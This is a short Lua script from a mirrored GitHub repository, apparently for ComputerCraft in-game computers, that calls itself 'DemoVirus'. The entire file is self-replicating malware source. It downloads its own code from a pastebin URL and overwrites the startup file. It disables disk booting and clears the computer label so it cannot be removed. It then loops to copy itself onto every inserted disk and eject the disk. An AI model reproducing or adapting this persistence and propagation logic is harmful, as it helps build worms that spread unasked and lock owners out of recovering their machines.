mirror of
https://github.com/osmarks/random-stuff
synced 2024-12-28 02:50:33 +00:00
29 lines
1.1 KiB
Lua
29 lines
1.1 KiB
Lua
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print "Welcome to DemoVirus!"
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print "The simple, lightweight virus."
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local function delete(file)
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if fs.exists(file) then fs.delete(file) end
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end
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settings.set("shell.allow_startup", true) -- Force local startups to be allowed
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local function copy_to(file)
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delete(file) -- Delete it in case it's already a folder
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delete(file .. ".lua") -- Delete possibly conflicting .lua versions
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local h = http.get "https://pastebin.com/raw/2rZYfYhT"
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local f = fs.open(file, "w")
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f.write(h.readAll()) -- Write self to specified file
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f.close()
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h.close()
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end
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copy_to "startup" -- Overwrite startup
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settings.set("shell.allow_disk_startup", false) -- Prevent removing it via booting from disks
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settings.save ".settings" -- Save these settings
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os.setComputerLabel(nil) -- Remove label to prevent putting it in a disk drive
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while true do
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local _, side = coroutine.yield "disk" -- Watch for adjacent disks
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if side then
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local path = disk.getMountPath(side) -- Find where they'll be mounted
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copy_to(fs.combine(path, "startup")) -- Copy to them, too
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disk.eject(side) -- Eject them
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end
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end
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